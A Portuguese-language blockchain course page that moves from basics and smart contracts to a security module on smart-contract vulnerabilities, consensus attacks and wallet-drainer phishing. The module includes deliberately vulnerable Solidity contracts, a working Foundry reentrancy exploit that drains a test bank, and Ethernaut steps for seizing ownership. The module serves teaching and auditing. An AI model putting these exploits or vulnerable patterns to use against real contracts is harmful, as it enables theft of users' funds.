Blockchain

O Livro de Registro Distribuído

A blockchain é um livro de registro aberto que oferece descentralização, transparência, imutabilidade e segurança.


📖 O que é Blockchain?

Definição

Blockchain é uma tecnologia de registro distribuído que é open-source, criptografada, P2P e permanente.

A palavra “blockchain” foi escrita pela primeira vez no white paper do Bitcoin em 2009 por Satoshi Nakamoto.

Conceito de blockchain

Estrutura de blocos

Cadeia de blocos


⚙️ Como Funciona uma Blockchain?

Processo de Transação

  1. Usuário inicia uma transação
  2. Um bloco é alocado para esta transação
  3. O bloco é transmitido para toda a rede
  4. Todos os nós registram a transação
  5. A segurança criptográfica valida o bloco
  6. O bloco é incorporado na cadeia

Processo de validação


✅ Benefícios da Blockchain

Vantagens Principais

  • Liquidação mais rápida: comparado a métodos tradicionais
  • Imutabilidade: dados não podem ser alterados após confirmação
  • Segurança: mais segura que sistemas tradicionais
  • Transparência: todas as transações são públicas
  • Descentralização: sem autoridade central

Benefícios


🔒 Blockchain Pública vs Privada

AspectoPúblicaPrivada
AcessoSem permissãoCom permissão
ControleNinguém controlaAutoridade gerencia
ExemploBitcoin, EthereumHyperledger Fabric
UsoCriptomoedasEmpresas

🕸️ Redes: Centralizada vs Descentralizada vs Distribuída

Tipos de redes

TipoDescrição
CentralizadaTodos os nós sob uma única autoridade
DescentralizadaSem autoridade central, todos podem participar
DistribuídaNós independentes interconectados

📝 Contratos Inteligentes

Smart Contracts

Contratos inteligentes são semelhantes a documentos legais, criando termos entre duas partes de forma automática e criptográfica.

Smart contracts

Como Funcionam

Funcionamento

  1. Duas partes definem os termos do contrato
  2. O contrato é codificado na blockchain
  3. Quando as condições são atendidas, o contrato executa automaticamente
  4. Não há necessidade de intermediários

Características Principais

  • Liquidação automatizada
  • Registro imutável
  • Sem terceiros envolvidos

Vantagens

  • Total transparência
  • Sem burocracia
  • Resultados confiáveis e garantidos

Vantagens dos smart contracts

Desvantagens

Limitações

  • Erros humanos: contratos são feitos por humanos
  • Confidencialidade: informações podem vazar
  • Contratos-fantasma: bugs podem criar comportamentos inesperados

Aplicações

  • Atividades de negociação
  • Cadeias de suprimentos
  • Proteção de direitos autorais
  • Mercado imobiliário
  • Votação governamental
  • Internet das Coisas (IoT)

🌐 Web 3.0: O Sucessor da Web 2.0

A Terceira Geração da Internet

A Web 3.0 aproveitará a blockchain para criar uma rede verdadeiramente descentralizada.

Diferenças

AspectoWeb 2.0Web 3.0
DadosServidores centralizadosDistribuídos
ControleEmpresasUsuários
PrivacidadeDados coletadosDados próprios
MonetizaçãoPlataformas lucramUsuários lucram

Benefícios da Web 3.0

  • Sem permissão: não há autoridade centralizada
  • Sem monopólio: descentralização impede dominação
  • Privacidade: dados pertencem aos usuários
  • dApps: aplicações descentralizadas

Ecossistema Web 3.

Comparação

Evolução da web


💾 Blockchain vs Banco de Dados

Comparação

AspectoBlockchainBanco de Dados
AutoridadeDescentralizadaCentralizada
EscritaAppend-only (imutável)CRUD (Create, Read, Update, Delete)
IntegridadeGarantida por criptografiaDepende da aplicação
ConfiançaDistribuídaNo administrador

Diferenças


🪙 Tipos de Tokens

Tipos de tokens

TipoDescriçãoExemplo
Payment TokensUsados como dinheiro para transaçõesBitcoin, Litecoin
Utility TokensAcesso a bens/serviços específicosFilecoin
Security TokensEmitidos por ICOs para investimentoTokens de empresas
NFTsArtigos únicos e insubstituíveisArte digital, colecionáveis

🌍 Meio Ambiente e Criptomoedas

Impacto ambiental

Argumentos Contra

  • Extremo custo elétrico comparado a sistemas tradicionais
  • Ineficiente e não escalável até o momento

Argumentos a Favor

  • Mineradores buscam energia mais barata (frequentemente renovável)
  • Sistemas bancários tradicionais usam mais energia no total
  • Muitas moedas migrando para Proof of Stake (mais eficiente)

Comparação de consumo

Evolução

Leituras recomendadas:


📖 Glossário

Termos Importantes

É difícil para iniciantes conhecerem todos os termos da blockchain.

📚 Dicionário da Blockchain - 50+ Definições


🔐 Segurança em Blockchain e Web3 (Módulo Ofensivo/Defensivo)

Aviso Legal e Ético

Todo conteúdo ofensivo desta seção é aplicável exclusivamente em ambientes de laboratório, testnets (Sepolia, Goerli), contratos próprios ou plataformas CTF autorizadas como o Ethernaut e o Damn Vulnerable DeFi. Realizar ataques contra contratos reais ou carteiras de terceiros sem autorização expressa configura crime tipificado no Art. 154-A do Código Penal Brasileiro (invasão de dispositivo informático), com pena de detenção de 1 a 4 anos, além de crimes contra o patrimônio (estelionato, furto qualificado). Autorização explícita e documentada é requisito obrigatório para qualquer teste.


🌐 O Panorama de Ameaças em 2025-2026

O ecossistema Web3 registrou perdas superiores a US$ 3,4 bilhões em 2025 e mais de US$ 750 milhões somente nos primeiros meses de 2026, segundo dados da Chainalysis e relatórios de segurança publicados em 2026. Os maiores incidentes recentes incluem:

EventoAnoValor PerdidoVetor Principal
Bybit Exchange2025US$ 1,5 biComprometimento de chave privada (Lazarus Group/RPDC)
Kelp DAO2026US$ 292 miExploração de governança descentralizada
Drift Protocol2026US$ 285 miEngenharia social sobre estrutura de governança
Monero (51% Attack)Ago/2025Reorganização de 60 blocosAtaque de 51% com reorg de 6 blocos de profundidade
Vários DeFi (flash loans)2024-2026Centenas de miManipulação de oracle via flash loan

Tendência 2026

O OWASP Smart Contract Top 10: 2026, baseado em 122 incidentes deduplados de 2025, totalizou US$ 905,4 milhões em perdas por vulnerabilidades de contrato inteligente. Problemas de controle de acesso lideram o ranking, seguidos de erros de lógica de negócio e reentrância em novas formas.


🗺️ Arquitetura de Ameaças: Visão Geral

flowchart TD
    A[Ecossistema Blockchain/Web3] --> B[Camada de Consenso]
    A --> C[Camada de Contratos Inteligentes]
    A --> D[Camada de Aplicação/Usuário]

    B --> B1[Ataque 51%]
    B --> B2[Selfish Mining]
    B --> B3[Eclipse Attack]

    C --> C1[Reentrância]
    C --> C2[Integer Overflow/Underflow]
    C --> C3[Controle de Acesso]
    C --> C4[Manipulação de Oracle]
    C --> C5[Flash Loan Attacks]
    C --> C6[Proxy/Upgrade Bugs]

    D --> D1[Phishing de Carteira]
    D --> D2[Wallet Drainer]
    D --> D3[Rugpull / Exit Scam]
    D --> D4[Engenharia Social]

    style B1 fill:#ff6b6b,color:#fff
    style C1 fill:#ff6b6b,color:#fff
    style D1 fill:#ff6b6b,color:#fff
    style C4 fill:#ff6b6b,color:#fff

⚠️ Vulnerabilidades de Smart Contracts: OWASP Top 10 (2026)

1. Reentrância (Reentrancy Attack)

A reentrância é uma das vulnerabilidades mais antigas e mais devastadoras do ecossistema Ethereum. O ataque à DAO em 2016 drenou US$ 60 milhões e causou o hard fork que originou o Ethereum Classic. Em 2025-2026, variantes como reentrância cross-function e reentrância somente-leitura (read-only reentrancy) seguem aparecendo em auditorias.

Como funciona:

sequenceDiagram
    participant Atacante
    participant ContratoVulneravel
    participant ContratoAtacante

    Atacante->>ContratoVulneravel: withdraw(1 ETH)
    ContratoVulneravel->>ContratoAtacante: envia ETH (call.value)
    Note over ContratoAtacante: recebe ETH, dispara fallback()
    ContratoAtacante->>ContratoVulneravel: withdraw(1 ETH) [re-entrada!]
    ContratoVulneravel->>ContratoAtacante: envia ETH novamente
    Note over ContratoVulneravel: saldo ainda não foi atualizado
    ContratoAtacante->>ContratoVulneravel: withdraw(1 ETH) [novamente...]
    Note over ContratoVulneravel: loop continua até esvaziar o contrato

Código vulnerável (Solidity):

// VULNERAVEL: estado atualizado DEPOIS da transferencia
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);
    (bool sent, ) = msg.sender.call{value: _amount}(""); // <-- re-entrada aqui
    require(sent, "Failed to send Ether");
    balances[msg.sender] -= _amount; // tarde demais
}

Código seguro (padrão Checks-Effects-Interactions):

// SEGURO: estado atualizado ANTES da transferencia
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] -= _amount; // Effects: primeiro
    (bool sent, ) = msg.sender.call{value: _amount}(""); // Interactions: depois
    require(sent, "Failed to send Ether");
}
VarianteDescriçãoMitigação
Reentrância simplesCallback no fallback() drena fundosCEI pattern + ReentrancyGuard
Cross-function reentrancyDuas funções do mesmo contrato compartilham estadoMutex (lock) global
Read-only reentrancyRe-entrada em view function causa leitura de estado inconsistenteCuidado com protocolos que leem estado externo
Cross-contract reentrancyContrato B lê estado inconsistente do contrato A durante execuçãoSeguir CEI em todos os contratos integrados

2. Integer Overflow e Underflow

Antes do Solidity 0.8.x, operações aritméticas não revertiam em caso de overflow/underflow, resultando em comportamentos inesperados. Um saldo de 0 decrementado em 1 virava 2^256 - 1 (um número astronômico).

Exemplo clássico (vulnerável em Solidity < 0.8):

// VULNERAVEL (antes do Solidity 0.8)
mapping(address => uint256) public balances;
 
function transfer(address _to, uint256 _value) public {
    // se balances[msg.sender] = 0 e _value = 1:
    // 0 - 1 = 2^256 - 1 (underflow!)
    balances[msg.sender] -= _value;
    balances[_to] += _value;
}

Mitigação:

  • Usar Solidity 0.8.x ou superior (overflow/underflow revertidos automaticamente)
  • Em versões antigas: biblioteca SafeMath da OpenZeppelin

3. Falha de Controle de Acesso (Access Control)

A categoria mais custosa de 2025 segundo o OWASP Smart Contract Top 10: 2026. Contratos que não verificam adequadamente quem pode chamar funções privilegiadas abrem brechas para qualquer endereço assumir controles de administração, sacar fundos ou pausar protocolos.

Exemplo vulnerável:

// VULNERAVEL: qualquer um pode chamar initialize()
function initialize(address _owner) public {
    owner = _owner; // sem verificacao de "ja inicializado"
}

Exploração típica: o atacante chama initialize() após o deploy (antes do dono legítimo) e assume o controle.

Padrões de defesa:

PadrãoBibliotecaQuando usar
OwnableOpenZeppelinContratos simples com um único dono
AccessControlOpenZeppelinMúltiplos papéis (admin, operador, pauser)
Initializable + onlyInitializingOpenZeppelinContratos upgradeable (proxy pattern)
TimelockControllerOpenZeppelinOperações críticas com delay obrigatório

4. Manipulação de Oracle (Oracle Manipulation)

Oracles são pontes que levam dados externos (preço de ativos, resultados de eventos) para dentro da blockchain. Quando um protocolo DeFi usa o preço de um pool de liquidez como oracle de preço (price oracle), um atacante com acesso a um flash loan pode distorcer temporariamente esse preço e enganar contratos de empréstimo, liquidação ou derivativos.

Fluxo de um ataque de oracle via flash loan:

sequenceDiagram
    participant Atacante
    participant FlashLoan as Pool de Flash Loan
    participant DEX as DEX (AMM)
    participant Protocolo as Protocolo DeFi Vítima

    Atacante->>FlashLoan: toma emprestado 100M USDC (sem colateral)
    FlashLoan->>Atacante: 100M USDC (1 bloco, deve devolver no fim)
    Atacante->>DEX: compra massiva de TOKEN (distorce preco)
    Note over DEX: preco do TOKEN sobe 100x artificialmente
    Atacante->>Protocolo: deposita TOKEN como colateral (valor inflado)
    Protocolo->>Atacante: libera emprestimo (baseado no preco falso)
    Atacante->>DEX: vende TOKEN (preco volta ao normal)
    Atacante->>FlashLoan: devolve 100M USDC + fee
    Note over Atacante: lucro: emprestimo - flash loan fee

Caso real 2026: Makina Protocol perdeu fundos porque o oráculo usava o preço spot de um pool de baixa liquidez, sem TWAP (Time-Weighted Average Price).

Mitigações:

EstratégiaDescrição
TWAP (Time-Weighted Average Price)Usar média ponderada por tempo, não preço spot
Chainlink Price FeedsOracle descentralizado com múltiplos nós independentes
Circuit breakersPausar protocolo se preço mudar além de X% em um bloco
Múltiplos oraclesConsenso entre 3+ fontes independentes
Limites de empréstimoReduzir exposição máxima por transação

5. Vulnerabilidades em Contratos Proxy e Upgrades

Contratos proxy permitem atualizar a lógica de um contrato sem mudar o endereço. Porém, a separação entre contrato proxy (armazena estado) e contrato de implementação (contém lógica) cria riscos únicos.

VulnerabilidadeDescriçãoExemplo de impacto
Storage collisionProxy e implementação usam os mesmos slots de storage para variáveis diferentesSobrescrever endereço do admin
Uninitialized implementationContrato de implementação deployado sem initialize()Atacante chama initialize() na implementação diretamente
Selfdestruct na implementaçãoSe a implementação for destruída, proxy fica inutilizávelPerda total de fundos
Função de upgrade sem controle de acessoQualquer endereço pode trocar a implementaçãoAtacante substitui lógica por backdoor

Padrão seguro: usar UUPS (Universal Upgradeable Proxy Standard) ou Transparent Proxy da OpenZeppelin com TimelockController para delays em upgrades.


6. Flash Loans: Risco e Defesa

Flash loans são empréstimos não colateralizados que existem por uma única transação: o valor deve ser devolvido no mesmo bloco, senão a transação reverte automaticamente. Essa mecânica legítima (arbitragem, refinanciamento) é frequentemente usada para amplificar outros ataques.

Perspectiva Defensiva

Flash loans em si não são vulnerabilidades: a falha está no protocolo-alvo. Um contrato bem auditado, com oracles robustos e verificações de estado, não deve ser vulnerável a flash loans.

Proteção: usar msg.sender == tx.origin apenas para bloquear flash loans de contratos (cuidado: quebra compatibilidade com carteiras inteligentes); preferir limitação de slippage, TWAP oracles e rate limiting por bloco.


🏴 Ataques à Camada de Consenso

Ataque de 51%

Em redes Proof of Work, quem controla mais de 50% do poder de processamento (hashrate) pode:

  1. Reorganizar a cadeia (reorg): substituir blocos já confirmados por uma cadeia alternativa secreta
  2. Double-spend: gastar a mesma moeda duas vezes
  3. Censurar transações: impedir que determinados endereços transacionem

Caso Real: Monero (Agosto 2025)

Um pool de mineração executou um ataque de 51% contra a rede Monero em agosto de 2025, realizando uma reorganização de 6 blocos de profundidade e orphanando aproximadamente 60 blocos. Foi o ataque de 51% mais significativo em uma rede de médio porte nos últimos anos, provando que a ameaça é real, não apenas teórica.

Custo estimado para atacar redes estabelecidas (2025):

RedeMecanismoCusto estimado do ataque
BitcoinPoW (SHA-256)Mais de US$ 6 bilhões
EthereumPoSExige 33% do ETH em staking
Ethereum ClassicPoWMenos de US$ 10 milhões
Redes pequenas (nascentes)PoWUS$ 50 mil a US$ 1 milhão

85% dos ataques de 51% bem-sucedidos ocorreram em blockchains nascentes, com menos de 2 anos de existência.

Selfish Mining

Ataque em que um minerador com mais de ~33% do hashrate retém blocos recém-descobertos, publicando-os estrategicamente para invalidar o trabalho dos outros mineradores e aumentar sua proporção de recompensas acima do esperado pela sua quota de hashrate.

Eclipse Attack

O atacante isola um nó específico da rede, controlando todas as suas conexões de entrada e saída. O nó passa a enxergar apenas blocos e transações fornecidos pelo atacante, possibilitando double-spend direcionado ou censura seletiva.


🎣 Phishing de Carteira e Wallet Drainers

Ameaça em Alta em 2026

Phishing e engenharia social representaram US$ 600 milhões em perdas no primeiro semestre de 2025. Em abril de 2026, o mês com maior roubo de criptomoedas já registrado (mais de US$ 629 milhões), operadores de drainers registraram sites falsos de “revogação de permissões” em horas após os maiores hacks, capturando usuários em pânico.

Técnicas de Wallet Drainer:

TécnicaDescriçãoVetor
Approve PhishingInduz a vítima a assinar approve(atacante, MAX_UINT256), dando permissão ilimitada sobre um token ERC-20Sites falsos, links patrocinados
Permit PhishingUsa a função permit() (EIP-2612) para obter aprovação off-chain sem custo de gas para a vítima”Mint gratuito”, airdrops falsos
SetApprovalForAllPermissão total sobre todos os NFTs de uma coleçãoMarketplaces falsos
Fake Revoke SitesSites que fingem “revogar permissões perigosas” mas na verdade pedem novas permissõesTwitter/X, Telegram
Seed Phrase PhishingPáginas de suporte falso que pedem as 12/24 palavras da carteira”Suporte MetaMask”, Discord comprometido

Entre setembro de 2025 e janeiro de 2026, 20 contas no X (antigo Twitter) compartilharam mais de 75 dApps maliciosas que drenavam carteiras de vítimas que interagiam com elas.

Defesas:

flowchart LR
    A[Usuário] --> B{Vai assinar transação?}
    B -->|Sim| C[Verificar endereço do contrato no Etherscan]
    C --> D[Usar simulador de transação]
    D --> E{Resultado suspeito?}
    E -->|Sim| F[CANCELAR]
    E -->|Não| G[Verificar permissões solicitadas]
    G --> H{Permissão irrestrita?}
    H -->|Sim| F
    H -->|Não| I[Proceder com cautela]
    B -->|Não| J[Revogar permissões desnecessárias via revoke.cash]
  • Revoke.cash (legítimo): ferramenta para verificar e revogar permissões de contratos
  • Simuladores de transação: Tenderly, Pocket Universe, Fire Extension
  • Hardware wallet: Ledger, Trezor (chave privada nunca sai do dispositivo)
  • Verificar domínio: phishing usa domínios parecidos (metamask.io vs metamask-io.com)

🔍 Ferramentas de Auditoria Ofensiva

Princípio Fundamental

No contexto de pentest em smart contracts, o objetivo não é explorar fundos reais, mas identificar e reportar vulnerabilidades antes que atacantes o façam. As ferramentas a seguir são usadas tanto por auditores defensivos quanto por pesquisadores de segurança.

Slither: Análise Estática

Slither é uma ferramenta de análise estática desenvolvida pela Trail of Bits, capaz de detectar mais de 40 tipos de vulnerabilidades em contratos Solidity sem executá-los. É rápida (segundos para contratos complexos) e produz relatórios com nível de severidade.

# Instalação
pip install slither-analyzer
 
# Análise básica de um contrato
slither contrato.sol
 
# Análise com filtro de severidade
slither contrato.sol --filter-paths "openzeppelin" --exclude-dependencies
 
# Checklist de auditoria
slither contrato.sol --checklist
 
# Exportar relatório em JSON
slither contrato.sol --json resultado.json

Categorias detectadas pelo Slither:

CategoriaExemplos de Detectores
Alta SeveridadeReentrância, uso arbitrário de send/call, self-destruct não protegido
Média SeveridadeVariáveis não inicializadas, comparação incorreta de endereço
Baixa SeveridadeFunções que deveriam ser external, variáveis de estado que podem ser constant
InformacionalCódigo morto, nomenclatura inconsistente

Mythril: Execução Simbólica

Mythril usa execução simbólica e SMT solving para explorar todos os caminhos de execução possíveis de um contrato, encontrando vulnerabilidades que análise estática pode perder. Mais lento que o Slither, mas mais profundo.

# Instalação via pip
pip install mythril
 
# Análise de um contrato local
myth analyze contrato.sol
 
# Análise via endereço na mainnet (somente leitura, sem gastar gas)
myth analyze -a 0xCONTRATO_ADDRESS --rpc https://mainnet.infura.io/v3/SEU_KEY
 
# Saída em JSON
myth analyze contrato.sol -o json

Comparativo Slither vs Mythril:

CritérioSlitherMythril
VelocidadeMuito rápido (segundos)Lento (minutos a horas)
TécnicaAnálise estáticaExecução simbólica
Falsos positivosMédioBaixo
CoberturaAmpla (40+ detectores)Profunda (caminhos complexos)
Melhor paraTriagem inicial, CI/CDAuditoria aprofundada
LinguagemPythonPython

Foundry: Framework de Teste e Exploit

Foundry (Forge + Cast + Anvil + Chisel) é o framework de desenvolvimento e teste de smart contracts mais usado em 2025-2026. Permite escrever exploits em Solidity puro, fazer fork da mainnet localmente e testar cenários complexos.

# Instalação
curl -L https://foundry.paradigm.xyz | bash
foundryup
 
# Criar projeto
forge init meu-projeto
cd meu-projeto
 
# Compilar
forge build
 
# Rodar testes
forge test
 
# Rodar testes com verbosidade (mostra traces de chamadas)
forge test -vvvv
 
# Fork da mainnet para testar contra contratos reais (somente leitura)
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/SEU_KEY
 
# Interagir com contratos via linha de comando
cast call 0xCONTRATO "balanceOf(address)(uint256)" 0xENDERECO
 
# Enviar transacao (em testnet, com chave privada de conta de teste)
cast send 0xCONTRATO "transfer(address,uint256)" 0xDESTINO 1000 --private-key SEU_KEY_TESTNET

Exemplo de exploit escrito em Foundry (Reentrância):

// test/ReentrancyExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
 
contract AttackerContract {
    VulnerableBank public target;
    uint256 public constant ATTACK_AMOUNT = 1 ether;
 
    constructor(address _target) {
        target = VulnerableBank(_target);
    }
 
    // fallback dispara ao receber ETH: re-entra no withdraw
    receive() external payable {
        if (address(target).balance >= ATTACK_AMOUNT) {
            target.withdraw(ATTACK_AMOUNT);
        }
    }
 
    function attack() external payable {
        require(msg.value >= ATTACK_AMOUNT);
        target.deposit{value: ATTACK_AMOUNT}();
        target.withdraw(ATTACK_AMOUNT);
    }
}
 
contract ReentrancyTest is Test {
    VulnerableBank bank;
    AttackerContract attacker;
    address victim = address(0xBEEF);
 
    function setUp() public {
        bank = new VulnerableBank();
        attacker = new AttackerContract(address(bank));
 
        // vitima deposita 10 ETH no banco vulneravel
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }
 
    function testReentrancyExploit() public {
        vm.deal(address(attacker), 1 ether);
        uint256 bankBalanceBefore = address(bank).balance;
        
        attacker.attack{value: 1 ether}();
        
        uint256 bankBalanceAfter = address(bank).balance;
        console.log("Banco antes:", bankBalanceBefore);
        console.log("Banco depois:", bankBalanceAfter);
        
        // prova que o banco foi drenado
        assertEq(bankBalanceAfter, 0);
    }
}

Outras Ferramentas Relevantes

FerramentaTipoUso
EchidnaFuzzerTesta propriedades invariantes via fuzzing aleatório
ManticoreExecução simbólicaExploração de caminhos complexos (Trail of Bits)
4naly3erAnálise estáticaRelatórios formatados para submissão em audit contests
TenderlySimulaçãoSimular transações, debugar traces on-chain
EtherscanExploradorVerificar código-fonte, transações, eventos, permissões
Revoke.cashSegurançaAuditar e revogar permissões ERC-20/NFT de carteiras
ImmunefiBug bountyPlataforma de reporte responsável de vulnerabilidades

🛡️ Segurança Defensiva: Auditoria e Padrões Seguros

Processo de Auditoria de Smart Contracts

flowchart TD
    A[Receber código-fonte + especificação] --> B[Leitura inicial: entender o protocolo]
    B --> C[Mapeamento de superfície de ataque]
    C --> D[Análise estática automatizada<br/>Slither + 4naly3er]
    D --> E[Execução simbólica<br/>Mythril + Manticore]
    E --> F[Revisão manual linha a linha]
    F --> G[Escrita de PoCs de exploit<br/>em Foundry]
    G --> H{Vulnerabilidade confirmada?}
    H -->|Sim| I[Classificar severidade<br/>Crítica/Alta/Média/Baixa/Info]
    H -->|Não| J[Documentar como falso positivo]
    I --> K[Redigir relatório com mitigações]
    J --> K
    K --> L[Revisão com equipe do protocolo]
    L --> M[Verificação das correções<br/>re-auditoria parcial]

Padrões Seguros de Desenvolvimento Solidity

PadrãoDescriçãoBiblioteca/Recurso
Checks-Effects-Interactions (CEI)Validar, atualizar estado, depois interagir externamentePrincípio nativo
ReentrancyGuardMutex que impede re-entradaOpenZeppelin
Ownable / AccessControlControle de papéis e permissõesOpenZeppelin
SafeERC20Wrappers seguros para transferências ERC-20OpenZeppelin
PausablePausar emergencialmente o contratoOpenZeppelin
TimelockControllerDelay obrigatório antes de executar ações privilegiadasOpenZeppelin
Pull over PushUsuário saca fundos ativamente (em vez de contrato enviar)Princípio nativo
Minimal Proxy (ERC-1167)Clonar contratos com baixo custo, sem risco de storage collisionOpenZeppelin Clones

Checklist Mínimo de Segurança Antes do Deploy

Checklist de Deploy Seguro

  • Auditoria automatizada com Slither (zero findings de alta/crítica)
  • Auditoria manual por pelo menos um auditor externo
  • Testes de cobertura acima de 90% (linhas e branches) com Foundry/Hardhat
  • Fuzzing com Echidna para propriedades invariantes críticas
  • Revisão de todos os pontos de entrada externos (external e public)
  • Verificação de todos os oracles usados (TWAP? Múltiplas fontes?)
  • Limites de valor máximo por transação implementados
  • Mecanismo de pausa de emergência testado
  • Chaves de admin em multisig (Gnosis Safe, 3-de-5 no mínimo)
  • Timelock de 48h para upgrades e mudanças de parâmetros críticos
  • Programa de bug bounty publicado antes do lançamento (Immunefi)

🧪 Atividades Práticas em Testnet/Lab

🧪 Atividade 1: Resolver o Nível "Fallback" no Ethernaut (Testnet Sepolia)

Objetivo: Assumir o ownership de um contrato vulnerável enviando uma transação especial, demonstrando falha de controle de acesso via receive().

Ferramentas: MetaMask (conta na testnet Sepolia), Ethernaut (ethernaut.openzeppelin.com), Console do Navegador ou Foundry.

Passo a passo:

  1. Acessar https://ethernaut.openzeppelin.com e conectar a MetaMask na rede Sepolia (ETH de faucet grátis em sepoliafaucet.com).
  2. Abrir o Nível 1 “Fallback” e clicar em “Get new instance” (deploy do contrato na testnet, sem custo real).
  3. Abrir o console do navegador (F12) e inspecionar o contrato:
    // ver o dono atual
    await contract.owner()
    // ver seu saldo no contrato
    await contract.getContribution().then(v => v.toString())
  4. Contribuir com um valor mínimo para que contributions[msg.sender] > 0:
    await contract.contribute({value: toWei('0.0001')})
  5. Enviar ETH diretamente ao contrato para acionar o receive() e assumir o ownership:
    await sendTransaction({from: player, to: instance, value: toWei('0.0001')})
  6. Verificar que agora você é o owner:
    await contract.owner() // deve retornar seu endereço
  7. Drenar os fundos (em testnet, sem valor real):
    await contract.withdraw()
  8. Submeter o nível clicando em “Submit instance”.

O que aprender: a função receive() do contrato original só transferia ownership se contributions[msg.sender] > contributions[owner], mas havia um atalho: qualquer contribuição via receive() com msg.value > 0 e contributions > 0 já transferia o controle. Falha de lógica de negócio + controle de acesso.

Resultado esperado: mensagem de sucesso no Ethernaut confirmando que o nível foi completado.


🧪 Atividade 2: Analisar Contrato Vulnerável com Slither e Interpretar os Achados

Objetivo: Usar Slither para identificar automaticamente vulnerabilidades em um contrato de exemplo e interpretar o relatório gerado.

Ferramentas: Python 3.8+, Slither, Solidity (solc), terminal Linux.

Passo a passo:

  1. Instalar o Slither:

    pip install slither-analyzer
    # instalar solc para Slither compilar os contratos
    pip install solc-select
    solc-select install 0.8.19
    solc-select use 0.8.19
  2. Criar o arquivo VulnerableBank.sol com o seguinte contrato vulnerável:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
     
    contract VulnerableBank {
        mapping(address => uint256) public balances;
     
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
     
        // VULNERAVEL: reentrancia (CEI nao seguido)
        function withdraw(uint256 _amount) public {
            require(balances[msg.sender] >= _amount, "Saldo insuficiente");
            (bool sent, ) = msg.sender.call{value: _amount}("");
            require(sent, "Falha ao enviar");
            balances[msg.sender] -= _amount; // atualizado DEPOIS do envio: vulneravel
        }
     
        // VULNERAVEL: qualquer um pode chamar (sem controle de acesso)
        function emergencyWithdraw() public {
            payable(msg.sender).transfer(address(this).balance);
        }
     
        receive() external payable {}
    }
  3. Rodar a análise:

    slither VulnerableBank.sol
  4. Interpretar a saída. O Slither deve reportar ao menos:

    • Reentrancy-eth (Alta): função withdraw envia ETH antes de atualizar o estado
    • Arbitrary-send-eth (Alta ou Crítica): emergencyWithdraw envia todo o saldo para msg.sender sem restrição
    • Outros achados informativos sobre visibilidade de funções
  5. Corrigir o contrato aplicando o padrão CEI e o ReentrancyGuard da OpenZeppelin, depois rodar o Slither novamente para verificar que os achados críticos desapareceram.

Resultado esperado: relatório com pelo menos 2 achados de alta severidade na versão vulnerável e zero achados críticos após a correção.


🧪 Atividade 3: Investigar uma Transação Suspeita no Etherscan (Sepolia ou Mainnet)

Objetivo: Desenvolver a habilidade de ler e interpretar transações on-chain no Etherscan, identificando chamadas a contratos, transferências de tokens e permissões concedidas.

Ferramentas: Etherscan (etherscan.io para mainnet, sepolia.etherscan.io para testnet), navegador.

Passo a passo:

  1. Acessar https://etherscan.io/txs e localizar uma transação recente de um contrato DeFi conhecido (Uniswap, Aave) ou usar o hash de uma transação fornecida pelo professor.

  2. Na página da transação, identificar e anotar:

    • From / To: remetente e destinatário
    • Value: ETH transferido diretamente
    • Input Data: os dados codificados da chamada de função (clicar em “Decode Input Data” se disponível)
    • ERC-20 Token Transfers: quais tokens foram movimentados e em que quantidade
    • Logs/Events: eventos emitidos pelo contrato (Transfer, Approval, Swap, etc.)
  3. Clicar no contrato destinatário e verificar:

    • O código-fonte está verificado (ícone verde no Etherscan)?
    • Quais funções public/external ele expõe?
    • Há eventos suspeitos nos logs recentes?
  4. Usar a aba “Internal Txns” para ver todas as chamadas internas geradas por aquela transação (comum em contratos DeFi que chamam vários outros contratos).

  5. Opcional: buscar o hash da transação do hack do Kelp DAO (abril 2026) ou outro hack documentado publicamente e reconstruir o fluxo de ataque lendo as transações on-chain.

Resultado esperado: mapa completo do fluxo de uma transação: quem chamou o quê, quais tokens foram movidos, quais eventos foram emitidos e se há algum padrão que levanta suspeitas.


📚 Materiais de Estudo

PDFs

Vídeos

Plataformas de Prática (CTF e Labs)

Ferramentas Online


📚 Fontes (2026)


Fonte Original

A maior parte do conteúdo introdutório foi adaptado de: 101blockchains.com/pt/apresentacao-da-blockchain